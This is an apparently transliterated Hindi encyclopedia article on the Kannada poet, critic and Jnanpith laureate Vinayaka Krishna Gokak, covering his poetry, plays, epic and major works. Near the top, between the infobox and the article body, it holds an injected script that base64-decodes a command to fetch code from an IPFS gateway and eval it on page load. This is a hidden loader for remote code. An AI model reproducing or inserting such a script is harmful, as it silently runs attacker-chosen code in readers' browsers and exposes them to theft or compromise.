विनायक कृष्ण गोकाक

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
vinayak krishna gokak
poora nam vinayak krishna gokak
any nam vi.ke. gokak
janm 9 agast, 1909
janm bhoomi haveri zila, karnatak
mrityu 28 aprail, 1992
mrityu sthan beangळooroo
karm bhoomi karnatak, bharat
karm-kshetr kavi, upanyasakar, samalochak, natakakar aur nibandh lekhak
mukhy rachanaean 'bharat siandhu rashmi' (1982), 'kalopasak' (1934), 'samudr gitegळu' (1940), 'jan-nayak' (1939), 'yugaantar' (1947) adi.
bhasha kann d bhasha
puraskar-upadhi jnanapith puraskar, 1990

padm shri, 1961
sahity akadami puraskar, 1961

nagarikata bharatiy
any janakari vinayak krishna gokak ke natakoan mean 'jananayak' (1939) aur 'yugaantar' (1947) vishesh roop se ullekhaniy haian. unhean "kann d bhasha mean 'adhunik samalochana ka janak' kaha jata hai.
adyatan‎
inhean bhi dekhean kavi soochi, sahityakar soochi

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vinayak krishna gokak (aangrezi: Vinayaka Krishna Gokak, janm: 9 agast, 1909; mrityu: 28 aprail, 1992) ko 'jnanapith puraskar' se sammanit kann d bhasha ke pramukh sahityakaroan mean gina jata hai. d aau. viyanak krishna gokak ka 'kann d sahity' mean ni.sandeh ek vishisht sthan hai. kavi, upanyasakar, samalochak, natakakar aur nibandh lekhak ke roop mean adhi se bhi adhik shatabdi ka unaka sakriy karyakal 1934 mean arambh hua, jab unaka pratham kavita sankalan 'kalopasak' prakashit hua tha.

kann d kavita mean yogadan

gokak ne kann d kavita ko svatantrata ka upahar diya, jisase ne kshitij khule aur nee sanbhavanaoan ka janm hua. prachy aur pashchaty, atit aur vartaman, vartaman aur bhavishy, manavatavad aur adhyatm tatha rashtriy aur vaishvik ke madhy samanjasy ki sthapana mean jivan bhar kriyashil gokak samanvay ke siddhaant par aroodh the. apane guru shri arabiand ki bhaanti unaki astha thi ki atmik vikas karate-karate manuny vishv-manav ke roop me siddh ho sakata hai.

ne yug ka sootrapat

chauthe dashak ke aranbh me kavy ki or unmukh yuvak gokak dattatrey ramachandr beandre ke prabhav mean ae aur unake netritv mean kavy ke ek ne yug ka sootrapat karane mean sanlagn kavi mandali ke ek sadasy ke roop me gokak ne svapnoan aur adarshoan, adhyatyik abhilashaoan aur kavyagat preranaoan ki svachchhandavadi kavita ka srijan kiya, 'kalopasak' (1934) mean nee panraparaoan ke git sankalit haian. 'samudr gitegळu' (1940) ki kavitaean ek nee tazagi deti haian aur unamean gokak ki vah vani mukhar huee hai, jisamean sahaj abhivyanjana aur phakk dapan ke sath gitatmakata hai. svatantryottar bharat ki nee pravritiyoan ki poorti unhoanne ek abhinav kavy-shaili ke sootrapat dvara ki, is kavita ko unhoanne iliyat,pauand aur fraansisi pratikavadiyoan ke anusaran mean 'navy' kavita kaha. ne vishayoan, nee kalpanaoan, nee kalpanaoan, nee layoan, nee vakroktiyoan aur vyangyoan ke prayogoan se bharapoor 'navy kavitegळu' (1950) ne kann d kavita mean ek 'navy yug' ka sootrapat kiya.

natak

vinayak krishna gokak ke natakoan mean 'jananayak' (1939) aur 'yugaantar' (1947) vishesh roop se ullekhaniy haian. unhean "kann d bhasha mean 'adhunik samalochana ka janak' kaha jata hai. unaki aranbhik alochanatmak rachanaoan par pashchim ki gahari chhap hai, kiantu unhoanne shighr hi k aaularij, arabiand aur bharatiy kavyashastr ko mila kar apana-apana alag siddhaant dhal liya, jise vah sahity ka samanvayakari roop kahate the.

mahakavy

gokak ki sarvotkrisht rachana unaka mahakavy 'bharat sidhuan rashim' hai, jo unaki 1972 se 1978 tak ki nirantar sahity sadhana ka pratiphal hai. ek or is mahakavy mean vishvamitr ka akhyan hai, jo kshatriy rajakumar hokar bhi rrishi ban ge. doosari or isamean ary aur dravi d samasyaoan ke samarasy aur 'bharatavarsh' ke avirbhav ki katha hai. isaka doosara sootradhar raja sudas jatiyoan ki samarasata ka pratik hai, aur vishvamitr varnoan ki samarasata ka. adhyatm ke udatt star par vishvamitr ka akhyan jis bat ka pratik hai, use araviand ne 'eeshvaratv ki or manushy ka saphal abhiyan' kaha hai. trishanku aj ke adami ka pratik hai, jisane smriti, mati aur kalpana par to vijay prapt kar li hai, kiantu abhi use yah janana hai, ki aant.prajna hi siddhi ka ekamatr sadhan hai. vishvamitr ke atimanaviy prayannoan ke bavajood trishanku svarg mean pravesh nahian kar pata, to aant mean yah anubhav karake ki mukti keval aant:prajna se hi sanbhav hai, vah ek nakshatr ban jata hai. is mahakavy mean vaidik sanskriti aur usake parivartanashil moolyoan ki aisi pun.prastuti hai, ki ve vartaman aur bhavishy ke lie praansagiank ban ge hai.

pramukh kritiyaan

kavy
  • kalopasak (1934)
  • samudr-gitetळu (1940)
  • trivikramar akashagange (1945)
  • abhyuday (1946)
  • dyava prithivi (1957)
  • koney din (1970)
  • bharat siandhu rashmi (1982)
katha sahity
  • samarasave jivan (1956)
  • navy bharat pravadi narahari (1976)
natak
samalochana
  • kavi kavy mahoannati (1935)
  • navyate (1975)
  • kaley nele (1978)
yatra vritaant
  • samudradicheyiand poyams (1960)
  • iandill nale (1965)
aangrezi kavy
  • d s aaung aauf laif aiand adar poyams (1947)
  • in laifs teanpal (1965)
  • kashmir aiand d blaiand main (1977)
samalochana
  • d poetik aproch tu laigvej (1952)


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah